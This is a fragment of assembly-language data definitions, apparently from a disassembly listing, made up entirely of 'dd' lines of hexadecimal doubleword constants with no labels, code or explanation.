dd 999D6A3Dh, 278B928Fh, 5EC234D2h, 0DC2E5585h, 3833B7EAh
dd 62D62E53h, 45EB4BAFh, 0F5DD356Dh, 0F098E484h, 145BD681h
dd 97522A01h, 0EEBA2AD7h, 83C57106h, 58BDEEC9h, 9AB41E11h
dd 1544D7B8h, 0EDDF76C9h, 38C66AC5h, 45640F1Bh, 0BD22036Ch
dd 0DCEA0DB8h, 0E44224CEh, 442D83h, 4CD9248Ch, 629261BCh
dd 4C86E032h, 77EA6898h, 1A769DE8h, 0E3E6B52Dh, 18675C53h
dd 0E3EE6F98h, 0EA29213Bh, 54AB8F06h, 21AB91C3h, 8B92EF31h
dd 475449ACh, 0E7273B4Eh, 185DADEEh, 0DBC1F8E8h, 6A10380Bh
dd 0C129D616h, 4ABD6A81h, 3539C945h, 0E0946F32h, 0B8566D9Ch
dd 0F005D2EFh, 9CA0F2EEh, 33F97764h, 0A9B1DCB8h, 6D1F8030h
dd 951B67D4h, 0EF12DE13h, 839C85B1h, 2EC2A42Ah, 17C6DFBFh
dd 75B346FCh, 0C0013C94h
dd 6BBEA6D5h, 6BAD92EEh, 0C86C0C1h, 0B2646DD3h, 96164AB7h
dd 8DCECF86h, 681A287Dh, 96A14FA4h, 0A252B145h, 65ADB799h
dd 61F15B4Dh, 0EE9F48A2h, 0E4C14A32h, 0F20A06FCh, 5E7B5A56h
dd 6B0A2BC9h, 0B58628FAh, 2721C392h, 0DB1B129Ah, 0F6BC6CB7h
dd 0D293110Eh, 0A84DCF24h, 6AC58D9Bh, 7F1A6EFAh, 856724E2h
dd 1790EB6Eh, 0D3B1FAA2h, 0B73BC692h, 4FCDC251h, 52D2A280h
dd 442D96E6h, 0B51EB9EDh, 4E15EAC1h, 6F7EA937h, 4FB33B4Dh
dd 0E76FE11Ch, 866BEA3Dh, 20278312h, 92DC51F3h, 12C1D1DDh
dd 0AB14B1E3h, 15000333h, 1F9F96EBh, 53F8F46Eh, 0EA75A5CCh
dd 0E5FDC6E9h, 0C38A3A44h, 69562C3Dh, 48CF7D0Ch, 0E5546314h
dd 949C2594h, 0CECA3D23h, 274F0FCDh, 9D68443h, 348D6AEEh
dd 0EEA91722h, 568CB3A6h, 3DA61A72h, 0F090ED93h, 4B018657h
dd 577A68F5h, 0EB9DFFDBh, 441CA185h, 9590ACA8h, 98549165h
dd 0D2C16E8Fh, 22C9022Eh, 764A63BEh, 0A6A54597h, 123B115Dh
dd 33F630F9h, 74065A6Dh, 0CF971CC6h, 28E27D5Ah, 0E1D081BDh
dd 0C6DCC8C3h, 0A0A470DAh, 0B18EE034h, 916292D9h, 5EC3048Ch
dd 0A373AFADh, 0E8792C78h, 0F1F28388h, 1BD7E644h, 0CBF0D9B1h
dd 0B2E04432h, 2701F7CFh, 5B6EE8C1h, 0A4756E0h, 84A31E44h
dd 7EB23BF6h, 0DD194D26h, 58FAF434h, 0EBDD371Eh, 1B2FF31Ch
dd 95CAA074h, 71D1533Ch, 0E58F7934h, 0BFCFABC9h, 2C9971FCh
dd 0DEFA160h, 720FA7C8h, 4E2070A3h, 3A79DD05h, 0F181E7BCh
dd 793D08F0h, 52501AD7h, 0CED7252Eh, 0EE80E45Bh, 0E0F5DB7Eh
dd 0F6C56F7Eh, 282CA9C4h, 0C3355251h, 0E5E3B617h, 2F951A90h
dd 47A20B0h, 0E6ABAC8h, 32635C85h, 5BE7D234h, 442276B6h
dd 8C71EA8Eh, 974B0140h, 7F80A933h, 0CA8F8432h, 308F32B4h
dd 0BDFC4EEEh, 1E808B88h, 0E5354401h, 0DEA8B6EAh, 1D5B90BAh
dd 0FD8B54DCh, 90812352h, 35655FA3h, 8C085F48h, 79FBAF51h
dd 15DFDA3Eh, 0E70060C0h, 12601479h, 17DD9A9Ch, 423118C2h
dd 0E06B29F2h, 0FCF6F96Dh, 0DF2DB760h, 0E9C2437Ah, 79309376h
dd 0B9845865h, 0D71FEFF9h, 429EA2ABh, 29547BC6h, 2F042DE1h
dd 0ED5C88F0h, 5743AD98h, 17B0E8BBh, 493AA474h, 0D58CEAF6h
dd 785A8E13h, 6EC05A9Ch, 0F6CAF0ADh, 7F3173E1h, 0A40C157Ch
dd 8C2C5A11h, 9C6C507Fh, 3AF64AFAh, 2D8D9551h, 599F59F7h
dd 88EE4201h, 0CFD4C193h, 0EBED8EC2h, 0B44970DEh, 32BE90AAh
dd 4ADDFF48h, 0CA02F837h, 145FDD9Bh, 1CFA94F6h, 4C035927h
dd 537CC51h, 7F868C9Ah, 0F714914Ch, 0B4D1F6DBh, 0A0DD44EAh
dd 7C30A60Dh, 0AEF10044h, 0C2B61005h, 0D2150532h, 0A2A0AC9Ch
dd 0DA244684h, 277D3A05h, 0BDE8F259h, 40F2C581h, 16BDEADEh
dd 0F070ED1Ch, 2760D3D7h, 62650983h, 0DACE9FA2h, 0E6572CC7h
dd 47B1E2F2h, 4E774FD4h, 0FCF69669h, 40CF5C9Dh, 3F9ECB62h
dd 9AA19836h, 0AF09114Bh, 4884B27Fh, 0C4F83474h, 0B2AA2234h
dd 0F337083Fh, 0BC210779h, 48223AD4h, 0C1EFD7BFh, 0DC4CCF6Ah
dd 0D7609E94h, 0A9B605CBh, 0BD0DFAC5h, 0D2430ED2h, 9C4ECCE2h
dd 7F64C8A6h, 761FDB80h, 800D94B3h, 77C2F759h, 56EA5DF8h
dd 0FEDA106Ch, 0DB5759C5h, 66AC6D69h, 183F1D7Fh, 61A76403h
dd 590B185Ah, 0E0330C93h, 7F173675h, 9D1D8AB4h, 0DFC38347h
dd 937870F6h, 2DAE1CDBh, 0E4195A87h, 3705C417h, 78E38279h
dd 0A3A87BD4h, 0A17A5EAEh, 6E3E97A4h, 293469C2h, 33FD163Dh
dd 6ADBF31Ah, 93EAE46Bh, 0B8CAA665h, 83381A51h, 0BF8B131Dh
dd 166A022Dh, 0D83DB74h, 0AA6A48A3h, 29BAFDD6h, 2E5C3D0Dh
dd 7FB994A8h, 84AF21B7h, 2C078186h, 1BABD1h, 3D0052BAh
dd 0EA47271Ah, 20606E46h, 0F6E8C785h, 7FABFEDAh, 6B96F6E1h
dd 1965B744h, 0C272A922h, 0BE2F79E0h, 5E09065Fh, 7264B7FAh
dd 318F6E1Eh, 2FA76B53h, 0FFF4D234h, 0D0C44AE5h, 0C09D8594h
dd 80C827F5h, 3F4BBE02h, 0A830026Bh, 0AA123EEh, 9F2635BAh
dd 1EC822B7h, 6C1DAF14h, 0E26D73AAh, 5B9A6B06h, 7C472F58h
dd 291DA02Fh, 6333C983h, 5F4415DEh, 0E6E5396Bh, 1A3E514Bh
dd 93C4B1C2h, 4B7762D3h, 3DAAF23Ah, 0E2967EE2h, 3FD19B51h
dd 3FAC2EF5h, 0A9D03195h, 0E7888516h, 9A63BA35h, 0F2715DE9h
dd 10A9C2A7h, 60B24BCh, 0BFA36BAEh, 28F862Ah, 2DB1FC03h
dd 2B1BC2EEh, 6A1EA822h, 6FC72D84h, 0ED86C20Ah, 35A56C6h
dd 2965E6DCh, 4B61E099h, 1D5DE80Dh, 6BB3F552h, 22CEC7C0h
dd 0C6450A17h, 60C630BAh, 83E76782h, 0F9FFBC3Ah, 0D5326A5Bh
dd 8E89FBDBh, 9BE9E9Fh, 44703F1Bh, 1E10A0ECh, 0AB160FB3h
dd 9288676Dh, 95066B0Ch, 7A6FAB52h, 485F3AC8h, 0C224EE22h
dd 0F2FDB96Eh, 9F24A0BDh, 2AB902FEh, 10FFE65Fh, 94415C66h
dd 6032C205h, 8986F8E4h, 5D4DB9F6h, 40A70A5Ah, 0ACF0154Fh
dd 0CF54D48Eh, 0EFFAC178h, 809A4CF1h, 6F64B89Eh, 36755E9Bh
dd 32B335DEh, 0AA1543C1h, 562A6743h, 2767383Bh, 102EDDE0h
dd 47C1C33Bh, 0D3697CC3h, 10DB613Dh, 0E2C9AE7Eh, 9ACF664Fh
dd 71E015F3h, 0C80CD696h, 0ACDE814h, 2C520155h, 202209D7h
dd 60DEC9F7h, 6CC3392Fh, 63764DFDh, 52C0C39Dh, 0CDE37DE8h
dd 0C578D053h, 1DBE9B4Dh, 83965609h, 6CD5D1FBh, 457E2388h
dd 17D6A453h, 0B0EB9A91h, 2AC39D3Fh, 7D6C8267h, 0C0F609E2h
dd 95C667FBh, 1BAFE3C1h, 10B6D913h, 47C7AF25h, 334DABC6h
dd 4C8A78CDh, 0D6AAF9FFh, 1817826h, 790E93B6h, 6633C03Ah
dd 56811F30h, 0E522D4Fh, 0DB7EC4BDh, 0FEB582CAh, 0D32176D3h
dd 70BD9555h, 38C8C840h, 532323AAh, 83379F9Ch, 0C5B1B6F5h
dd 552C3C5Ch, 823C36AFh, 0A14655C6h, 79B8D281h, 0C73F5A29h
dd 0EFF8B7F6h, 70004C03h, 0F145C9BBh, 9F3DE1CFh, 6454F6F8h
dd 0FC10B8BFh, 485836CEh, 0DECAB1ADh, 0A6276C04h, 0DC51D04Eh
dd 65E3278Ch, 7685B03h, 7D598AF8h, 0D3061DA4h, 6A639FE3h
dd 6BF617C7h, 0F1073FD2h, 0BFBD7872h, 61764310h, 0B0F748D5h
dd 74F1C09Eh, 935641Dh, 6C60FA14h, 0B50C60B2h, 0C1ECB3F9h
dd 0C9AB036Eh, 0EE8DDF8Eh, 0C2B8FCC7h, 2B44FA57h, 0D166EA78h
dd 0E859564Ah, 0BC90B749h, 16C3201Dh, 6D78BEDBh, 1415C08Ah
dd 12E0EC36h, 8330576Eh, 0F17F1899h, 6B5F61FBh, 186F23B5h
dd 0C969D76h, 6514FDACh, 8529DBDDh, 0E9AB0234h, 1A1D0BBBh
dd 0F10FC378h, 184BBD12h, 0EAC4407h, 4F779D60h, 8E5A15BAh
dd 0BD5F0BE7h, 352D9C83h, 12109DB8h, 37D96E97h, 6A617306h
dd 5DDAD901h, 0C3AF04A8h, 93CAB9E0h, 0F11356B1h, 87FC9AB5h
dd 0D4B7E59h, 4EC9F034h, 0C12F8A70h, 0DCF5F8Ch, 1BC754E6h
dd 55A1A7D0h, 2A61F265h, 1C312930h, 0F333B1CAh, 8BA8487Ch
dd 71DF862h, 0EC04FB7Fh, 427EA4BEh, 5163C547h, 443AD496h
dd 2105422Eh, 0F993866Fh, 0FAD0C0B4h, 762BD8D3h, 0A9924281h
dd 80CA8B5Eh, 69B7C57Eh, 88FBEBAFh, 43029790h, 0ECD756FCh
dd 5957B8D8h, 312A61AAh, 0C4946D0Ah, 0BE588F8Fh, 0C7220B02h
dd 84CC907Dh, 9249F740h, 7BFD2E7Ch, 0EA3089C1h, 3C24A05Ah
dd 88B5850Ah, 5C11F01Bh, 169307FDh, 8E793F40h, 15401708h
dd 0A0A69CDh, 1A028B99h, 2D1645F5h, 0D8EFA873h, 0CCEDDD72h
dd 16883E56h, 3D1BEAAAh, 0BA44FE7h, 0BEB748D4h, 863EAA60h
dd 37E3FF7h, 1A89479Dh, 5A9679ABh, 0D554911h, 44806F59h
dd 59655890h, 83C9A61Ch
dd 35E26494h, 0C2E97C5Dh, 0CFD4E7D6h, 9C09FEAFh, 872D0A55h
dd 5C55B4B1h, 0ABE55F51h, 0BFA89A41h, 41E0DC5Fh, 4F7DCCD2h
dd 58C4C68Ch, 7FB84970h, 682217C2h, 59C045EBh, 14A227C5h
dd 2437A354h, 70A6BBA6h, 5EB198F5h, 589D87E2h, 0D8CC67D9h
dd 35A1C1F7h, 7AE03A2Bh, 0E931D3DAh, 6C80DF28h, 3CBBA319h
dd 7B0E5479h, 0E14334F8h, 180CB96Fh, 53A687E2h, 0F9A855DAh
dd 14E0994Eh, 0F5EABA2Ah, 745A92C5h, 50AEB762h, 4F5BB31Fh
dd 0CDABB1B3h, 0FD5CDA01h, 1105DE46h, 95EB76ECh, 0B9C8DBBDh
dd 21328F67h, 5C2A3B40h, 0E010AEEFh, 0ECB93D8Bh, 0D70D0A80h
dd 1856A596h, 0DFC9034Ah, 77670F12h, 73A9C74Ch, 0A0B4B05Fh
dd 6F27E344h, 9402D73Fh, 530F58BDh, 0DF478D04h, 0D8B6488Ch
dd 322D4A0Eh, 0E524F539h, 12F546F4h, 76C0A536h, 590629D1h
dd 69EC51BBh, 1F2BAD85h, 238F0C28h, 9241DC6Bh, 0CD2939DFh
dd 31C0FB7Fh, 92DAB17Ch, 11DD02B9h, 0C9E7E86Ch, 0E81CAE0Dh
dd 0EBB50C24h, 0D3A63B6Ah, 8B82A338h, 0D163F1E0h, 0BB4B0BCAh
dd 0EF57E995h, 0D995031Bh, 0E9CC1C88h, 0B5D5BEDEh, 5665D788h
dd 4C11E61Fh, 0A1703D49h, 96FB52C1h, 147584FBh, 0B51CB47Fh
dd 28F69BA7h, 4520783Fh, 0C2EE5C0Bh, 471B0D33h, 6ECDFE1Bh
dd 0A82BBC39h, 8B8217A8h, 54A9137Bh, 0FF608ACEh, 0A18315DFh
dd 5F07326Ah, 0D2588EE0h, 3FCA9D46h, 0A2E29E69h, 373073F5h
dd 988FF22Dh, 0B9DFE575h, 7EECC665h, 0C336F85Fh, 7AA76A0Eh
dd 0B56F1C18h, 0AF5A2B3Ah, 540A4F66h, 9D23EDCAh, 5F2B37D3h
dd 0F89578h, 9F9DD61h, 0B0AFDCB6h, 5F3AD304h, 81318596h
dd 658CA63Bh, 50D023CCh, 1AC4859Dh, 0DA4BC7D6h, 3793AE19h
dd 2A0E46F8h, 0AED7014Eh, 0BE6FDC68h, 7881A9C5h, 495C1DE8h
dd 0C606064Eh, 0FFC97FD1h, 4ACC5E7Ch, 38B849E6h, 742094CDh
dd 0A636B0A6h, 306EB401h, 57AAAD14h, 5213E2F7h, 0E801E631h
dd 2C59857Dh, 0A59A420Bh, 1C7FBF1Dh, 0BD5DA851h, 0EA7A2493h
dd 0B4B2F790h, 0CD9D3D3h, 0FD548687h, 36F3355Fh, 0CE796024h
dd 0DC6859F6h, 26CAC2BDh, 0A62207A9h, 0CA788D98h, 0DC082B50h
dd 0E3F74649h, 6C3C3B4h, 0CCBD7F30h, 1973381Ch, 7AC1DE98h
dd 191F921Ch, 1BC1BE99h, 50362358h, 0A5A9770h, 0CC851EA1h
dd 0C8341789h, 44E2F44Fh, 654A3882h, 0D7BE540Bh, 8CC60CFCh
dd 0C8CA85CEh, 0D528060Fh, 4452D3AAh, 6F07F5ACh, 88E0E352h
dd 3D910037h, 2F0F2172h, 12A59ED5h, 6DDC66FAh, 4EAE5A18h
dd 3B534A69h, 0F008D6D4h, 3C1F247Bh, 55D522Bh, 4B5DABFFh
dd 0A7711466h, 1CB8125Ch, 0B852EA23h, 0E1246AA4h, 2B2DABBCh
dd 0A75442C8h, 0EC6449E7h, 6457EBF5h, 4C30B354h, 3A127DBFh
dd 7ED3BE4h, 0C5F98F4Eh, 0F4BB0FE2h, 22A23987h, 0A563103Ah
dd 8CC6A32Dh, 62AB4E1Ch, 1A16FF81h, 35FE20E7h, 0F44932CAh
dd 28C93E18h, 5AFBE727h, 2F90F769h, 0F30514D1h, 553DD22Eh
dd 0A7D7DBFh, 0DA4C29D1h, 8E47276Dh, 0E83E9045h, 7C556524h
dd 0AA3A57A7h, 8574C3EAh, 28EACB78h, 8A81BA5Dh, 476C1AACh
dd 0E7BE6668h, 0C60F8A5Bh, 0F50BDA25h, 6074CB6Bh, 95185087h
dd 357F62C9h, 0BC6C6D6Eh, 19634D6Ch, 0C9744EDDh, 9CC39BD0h
dd 0E9DDBBB2h, 90C1EE0Dh, 0E95F193Dh, 0FC90EE83h, 8E8EC230h
dd 568985BEh, 0AB7EDEDFh, 0D15BE270h, 0BF71A7B2h, 5372E7B3h
dd 9B0FC77Fh, 0BD7E5BBBh, 0A8296EFEh, 0BAE27D5Ah, 48EFA7C0h
dd 0A0FA3B22h, 0BC25671h, 132DE514h, 0E7FFC732h, 43335344h
dd 7DCC08B9h, 503A9E99h, 0AC50D1F6h, 24DF9C21h, 0CC4C3B03h
dd 124D7E03h, 85BECE44h, 1B580A1Ch, 20FFA468h, 4C4D0FEFh
dd 0F7AA2660h, 45D8AE7h, 0A38715ACh, 2922B584h, 8B34F45Bh
dd 7FDFCB38h, 19E9473Fh, 0C538E19Bh, 81BDE2F7h, 44166951h
dd 4EBCB472h, 702FE637h, 91D21847h, 0C25C9D71h, 7AA14ECFh
dd 20CC5F23h, 5765E81Eh, 3451C41Ah, 0A0A09D6h, 73BE8A89h
dd 0C53C02C4h, 0ECA43FE5h, 3F042632h, 71022A91h, 49D1F470h
dd 0BD44AA54h, 2DD13EC9h, 0CB21087Dh, 0C7A494D2h, 8CAA62E7h
dd 90C2961h, 628C0A73h, 0E84550C4h, 3413A66Ch, 3C10B1E2h
dd 7B3C12A2h, 3AB3B71Ah, 0FD53AA4Eh, 0EDA52555h, 7D6E0F27h
dd 0DBCA3673h, 9A77DBBDh, 0C1389666h, 0FA33FA5h, 0BF9700C9h
dd 0C310204Fh, 6851C88Fh, 4AC1E0F7h, 246BC61Ch, 4DFD6B22h
dd 195C0F93h, 0ABEAE7A3h, 5A32D963h, 0A7703FA0h, 0BFE937D0h
dd 0D4C7C5D5h, 31D2AB19h, 0B7DD53C7h, 0DC156C07h, 0A4061E80h
dd 0A17EDD9Ah, 44896613h, 6BE6B74Ah, 0F995CEA6h, 0CDD7E0C1h
dd 0B3D2216Ch, 0A2794EC6h, 7EE75392h, 0F90DAED5h, 225E9AB7h
dd 0E559DCA5h, 3FC36F20h, 64D8FCDBh, 863565F2h, 33FDCAFDh
dd 0D2B7F2D0h, 1B58B003h, 55085F60h, 98FF4CBEh, 8502C677h
dd 2EF342BBh, 0EE27137Ah, 0A9B3C0BCh, 29C32285h, 0EA1C5272h
dd 99EF0F3Fh, 9086711Ah, 0BF0F36AFh, 480BF636h, 5C566C72h
dd 0E5B95D52h, 2E5EC5EDh, 57885DD0h, 0CF6BA69Ah, 15C5613Dh
dd 0B9F28BB0h, 0D7DD6702h, 22D869ABh, 3EEF10C9h, 0F6E735CDh
dd 560F99Dh, 0DEC4E07Ah, 2F24E0EAh, 0BA6DB6B1h, 2E077469h
dd 5D765740h, 0B586611Bh, 0FD3BDC17h, 45C289A2h, 2E4F9E6Bh
dd 88CEFE63h, 70943C4Bh, 0C4E0E6Ch, 3C0DBD60h, 0B1BBE493h
dd 1126A06Ch, 4EED1EE0h, 0DDAA840Ch, 0DE09C89Fh, 6C7E0FF6h
dd 0BF82DE55h, 0A88C660Ah, 13108D8Ch, 0F9C927AFh, 295CA1A4h
dd 957BC586h, 0EFFD0AEBh, 0A632A090h, 3A86F3CCh, 0B7D213C7h
dd 4E6661D5h, 9DA79C63h, 4F9186E3h, 51AA7D1Ah, 13ACEF62h
dd 3A922D36h, 0D113C49Ch, 332C0B2h, 4482D98Bh, 7DA1B975h
dd 7A867149h, 804ABBAFh, 896BCCCDh, 0DF290BA7h, 0EB6A5958h
dd 37E0D7BBh, 8343266Dh, 12D08013h, 1241AA3Ah, 27AF2181h
dd 7234A07Bh, 97B5E146h, 8F59BC28h, 0D5727FDDh, 0CF0FECB5h
dd 276A014h, 347EE38Fh, 0F869176Dh, 0ADE3E7B5h, 0FA4A61F5h
dd 1EE3439Eh, 0CD1D9924h, 1A77E7Ch, 9CE7C42Dh, 6A7DDD22h
dd 0E0BD5527h, 715EA922h, 0D95BB7DDh, 3A97307Dh, 8F1AF9E9h
dd 0C176EF83h, 0E4743A55h, 9AF2B885h, 2DB7C42Ch, 59C221C7h
dd 0CDCF9455h, 0F82D95CEh, 0FDA6E2DEh, 181149DAh, 0C15DBD15h
dd 397299D9h, 0E71B1F0h, 12D5A520h, 5B95642h, 70D07478h
dd 2DB30BF5h, 18342F2Ah, 0CAD654EAh, 0A9CE06E8h, 0E6A1ADFh
dd 0A05A2B56h, 19C4F49Ah, 0E9DF065Ch, 7A2BD47Ch, 0EE84BC21h
dd 0CCEE0061h, 981CF8F1h, 0CC22E217h, 93304E08h, 7F6319FAh
dd 7ACF2AD1h, 0EC998BD4h, 38301897h, 9956DE22h, 0B55B0F1Bh
dd 2D958969h, 5E071C8Eh, 175CC1E9h, 54666F69h, 90200981h
dd 54CBDCBCh, 4F746A54h, 808CF41Ch, 0D8997E8Dh, 0E77F48D9h
dd 0B46C55CDh, 0C6E54ACCh, 0EC994E96h, 0A04DB9E3h, 79217A49h
dd 338C6907h, 22D15471h, 0D986B9A4h, 0BB139546h, 19F3C4BFh
dd 3E5C194Ch, 0D832BC46h, 7043B65Bh, 1DCF3FE9h, 0FC246BCFh
dd 0BD66234Dh, 0D8B2C117h, 58468FE1h, 0F1F88120h, 379E7273h
dd 4F93571Bh, 3C93EB40h, 2B51BCAFh, 0EEA2941Ch, 0F46382DCh
dd 4789748Dh, 0A993D638h, 0CBE98BF3h, 0D6F669DAh, 560571A9h
dd 0ADBDB13h, 0A937E8D4h, 0A45C1158h, 4381A56Fh, 209D4918h
dd 7CD05EE3h, 0E2CA967Ah, 78D76CAFh, 0FB2E420Dh, 91865AD9h
dd 0D3F0935h, 57B7172Dh
dd 0B4138585h, 0EA50C54Bh, 1399B161h, 54E93B3Ah, 2E35C970h
dd 0BF8739DFh, 58939CBBh, 37B4F54Ah, 0EC80B45Ah, 7F669980h
dd 7BBF802Bh, 54237972h, 4F882D82h, 8F059574h, 0D4465903h
dd 0E6AE263Ah, 0CCB2E6C3h, 733098ADh, 0F1570DEBh, 14852C49h
dd 0D5D692CDh, 876DE3F0h, 960435E8h, 91DDA2C2h, 0E0BA11D7h
dd 0DCE586A7h, 7A116A7h, 0DB29DD93h, 162A287Eh, 95EF6700h
dd 0CDDCC4C6h, 8BEBC7DCh, 0C37C750Dh, 126EBE91h, 81C579EDh
dd 0E8060830h, 59DB2D1h, 2CA55709h, 0A0B9CBDFh, 0F1EF2282h
dd 0F0434D49h, 0E6B3D1C9h, 0E608612Ah, 0A74D506h, 0B4D4CC0Fh
dd 85E5B2E4h, 26FD9689h, 61878617h, 82743E6Ah, 3EA287DBh
dd 451B2A1Eh, 6C23C17Eh, 0EEC2E16Fh, 0E24C2867h, 7188F706h
dd 0BB23A045h, 60B1F51Bh, 0FA4F9C7Fh, 0FD199727h, 98D4D1DBh
dd 0CEC2AF92h, 1252691Fh, 97D986FEh, 83A661AFh, 0E97B35D9h
dd 0D5F33A9h, 74681ED5h, 0D955F1FDh, 9F6019C7h, 0B0928DDCh
dd 0C9E65B65h, 0D48C7669h, 3C9CABDCh, 9FEF0895h, 0C3604FDCh
dd 0F51807CCh, 5C0B6262h, 2E49859Fh, 7607F0F3h, 3ACE1A02h
dd 2478CC78h, 936E31DFh, 5A0F040Dh, 35A44DAEh, 7A7C942Ch
dd 7603C9B1h, 0FF430DE5h, 95ADED45h, 0BA9F8654h, 0E5CC01AEh
dd 0E71ECC98h, 0E8BCB028h, 0DEF728BFh, 0F2E31BDEh, 0D1D28BB9h
dd 0F53E6803h, 1DE2081Ah, 0A5DB1B57h, 0E3D2AF9Ch, 0D247B404h
dd 0D1E5FFECh, 2581278Ch, 0A6EB0B27h, 0B93687A8h, 0F6A7A457h
dd 0D2E3226Bh, 0EAA14421h, 0ACD0174h, 0AB07E854h, 0FA87CECBh
dd 0AE2B121Dh, 0A31B469Bh, 22CB2998h, 27F2F95Fh, 0C5C3F1F5h
dd 6BEFCADEh, 0E5CCC680h, 0D27152FCh, 3B2A6B0Eh, 5ED77D7h
dd 18613CC8h, 0AD77836Ah, 1BC1CD15h, 0F48D11F0h, 75682172h
dd 936CA502h, 0A157CB04h, 0D7BA1558h, 1386F3A7h, 0AE26AA84h
dd 0CBDFAD60h, 11B8559h, 8ABC8FC3h, 0FFB54636h, 0EBF2F55Dh
dd 0B7956C2h, 6D3E4EEFh, 0B2BD4D8Dh, 709367Dh, 57A2A1EDh
dd 0FECD0F23h, 0FC62E9BCh, 429B6BC9h, 0EDDF16F0h, 0AB17E56Ch
dd 17B95D65h, 0FC72831Bh, 5BA10EA9h, 62FC1060h, 83807440h
dd 0F24CCE36h, 284E59C7h, 7F9B4D24h, 9CFBC611h, 0ECFDB6B3h
dd 6299441Bh, 0C4F8C5EFh, 0B51C4C48h, 9BE5D115h, 0E57E7262h
dd 8164C24Ch, 0A45C339Fh, 0D44E32E6h, 0B6AC1AB4h, 0C0F1E355h
dd 9C02D770h, 0C1126B8Fh, 2B3666E2h, 0E01C8ED8h, 368D2E19h
dd 0FA411171h, 5AEF38DCh, 2DBE6E3Ah, 0DE54B4B1h, 302DBC85h
dd 0DF8BC6Ah, 0E0F289F1h, 0BFCFA31Ch, 7D28601Ch, 0BCDB7517h
dd 11F118B6h, 14174814h, 62E4BA2Ch, 268D5E8Bh, 95767EFCh
dd 774390DEh, 259EDD22h, 53DD178Ah, 0C4A7F572h, 0EB79AFBEh
dd 0ACC24CC6h, 0B12F3AC9h, 12D8854h, 2F51705Fh, 0A0086E80h
dd 0C1A0326Dh, 269CAFh, 161F9483h, 5EC67D3Eh, 0E934DA78h
dd 0D8C891FBh, 0E83BD7B8h, 14672290h, 220CAB48h, 1EA9E3AAh
dd 574F7EE9h, 33F2B486h, 7FED60FBh, 2C5CE326h, 0D524E0DCh
dd 0F00CBFECh, 7E24FFDCh, 17C6AA50h, 8C48ABA0h, 77F58705h
dd 623A92DFh, 0EA6B9F6Bh, 0CA19655Eh, 0F3CAB34Dh, 66E8198h
dd 75357FB4h, 9923F73Dh, 0B1A6B7E8h, 706A324Fh, 2358864Ch
dd 0A90DBE10h, 62EB6E10h, 0A5502BD1h, 0D0401B65h, 6F87731Ah
dd 9E48A929h, 7B05BC5Bh, 397DD0CFh, 3E7F8E48h, 24D85717h
dd 0BF22D502h, 690B9E28h, 95EA87BCh, 0B3243172h, 835409CAh
dd 3B6BCA36h, 7958268Ch, 2CCD044Bh, 2EB6552Fh, 712A768Ch
dd 7BAF8F62h, 65E889E2h, 1428DEBEh, 1E15414Dh, 3D8EADBCh
dd 15DDD2FCh, 0DD852A83h, 8FBE6D8Ch, 21F94AEAh, 7100F57Fh
dd 0AAC05D25h, 219718E5h, 0AE411BEBh, 884E5DDh, 7FD3D7ACh
dd 9B67AE67h, 6AFAF266h, 280A636Eh, 0F9CD2668h, 74CF0EEh
dd 72A353E6h, 0BC1E821Ah, 0D2627CA4h, 0C33D79Eh, 0A72056E9h
dd 0E9AF3996h, 5AF2DF9Bh, 0B0BB1CF6h, 0DBBB2A2Bh, 614AFDEDh
dd 18C1AFF8h, 2F7EDE83h, 0D8E9A3C1h, 2AFCCE58h, 0E9463B8h
dd 298C65Eh, 578169BEh, 619DA674h, 51721C28h, 0ABF8AE66h
dd 4F7461F9h, 7050D224h, 3A12B19Bh, 0AF0CEBAAh, 5B4D5587h
dd 8293DAB9h, 3EE2E6C1h, 0A7A55F1Eh, 77EEBC9Bh, 0E5C1F45Ah
dd 0C1E37A30h, 0F8ACB4FBh, 91CC66A6h, 2964AF5Dh, 0C03AA9E1h
dd 5C37798Bh, 735C4B84h, 5CA1CBE1h, 0EF90B7FAh, 196904E8h
dd 0EBFE59B9h, 335BC09Dh, 0E45B4447h, 52E4E79Ch, 70210134h
dd 0AF0C2B5Ah, 526F5E94h, 9B68FCA9h, 3420FAD5h, 0AE10BBABh
dd 71FFB5A9h, 35571511h, 5E2AE37Fh, 688801Dh, 51814C84h
dd 13362A53h, 266FF3A3h, 0F4C883E8h, 397B6970h, 4C4FDA77h
dd 916EF687h, 0C5758BDAh, 0B76C3DDBh, 0B98AC0EFh, 0D926BD58h
dd 0F36DEE60h, 0D0376284h, 2642E87Dh, 0BDEC2480h, 0C4E17A1Ah
dd 0D9FD9D47h, 5AC99EF6h, 6310777Ch, 97F1F9FEh, 0A6610E28h
dd 5F318BDCh, 0D514062Eh, 17B81347h, 93759912h, 0DE6407E4h
dd 0B5E9209Eh, 0B8663BB0h, 277D8437h, 0A7872C2Dh, 98161B2Eh
dd 0C054AECAh, 14D4C214h, 9FC6F88h, 0E21441BDh, 781E8200h
dd 2ED276F7h, 0C8491418h, 0EF7577F3h, 0DA2B8F4Bh, 690FB935h
dd 6C0F4A8Dh, 4769F075h, 5D3C0A3h, 9B407932h, 7E191153h
dd 63E83DECh, 73EC92CEh, 0C26482E8h, 0B3FB9D13h, 0E6348BFDh
dd 946AD13Ch, 764F34A9h, 233FF9D8h, 0A6BEF1A8h, 49860690h
dd 2ADF794Fh, 0C95C97C4h, 8736E8E1h, 0D2E50D83h, 574BCB49h
dd 93AF1572h, 0D304E291h, 5FD3E1AFh, 0E11B07F8h, 0D3625588h
dd 0A10D1DA5h, 8CEBF5DEh, 0CB783677h, 3C605444h, 89006A64h
dd 3D5B2B6Ah, 2D6D1201h, 77DA5994h, 1E131666h, 0F91D267h
dd 6C92AF0Dh, 544DED15h, 0B0ED193Eh, 0F773762Dh, 31E4D466h
dd 0DAB14753h, 0A7E1BC12h, 0BD12F014h, 0F851381Ch, 684C6A99h
dd 7C7CE144h, 0C101FAA3h, 8B620C0Fh, 39846A01h, 0C9D2357Fh
dd 5178F7A0h, 493D7EBCh, 2A8594F0h, 1CB5FD8Dh, 211907B1h
dd 4826D0A5h, 0D9469207h, 1B51766Ch, 33E3EF46h, 35C85009h
dd 0EF2DAA39h, 4F5031F5h, 17DB924Bh, 8B58A5E1h, 0FD1FA9E4h
dd 0BEFC0119h, 0D3829772h, 0F0E40141h, 49A6F08Ch, 0C3508F23h
dd 12923340h, 0F25C626h, 0C3AD2E59h, 1ED716B2h, 4D6FE58Ch
dd 52BAC1B2h, 0C0A20284h, 7F8F3491h, 0E94C731Ah, 0BD7E1E2Ch
dd 3AEE7A5Ah, 0B5D5DC8Ch, 0AB601EE1h, 754A9274h, 6B1E04A0h
dd 6A4E45BBh, 98D13B4Bh, 762D4557h, 9376CD1h, 11E76735h
dd 13A5B9B3h, 22F9D48h, 746358A6h, 1BC6A430h, 1B23F89Ch
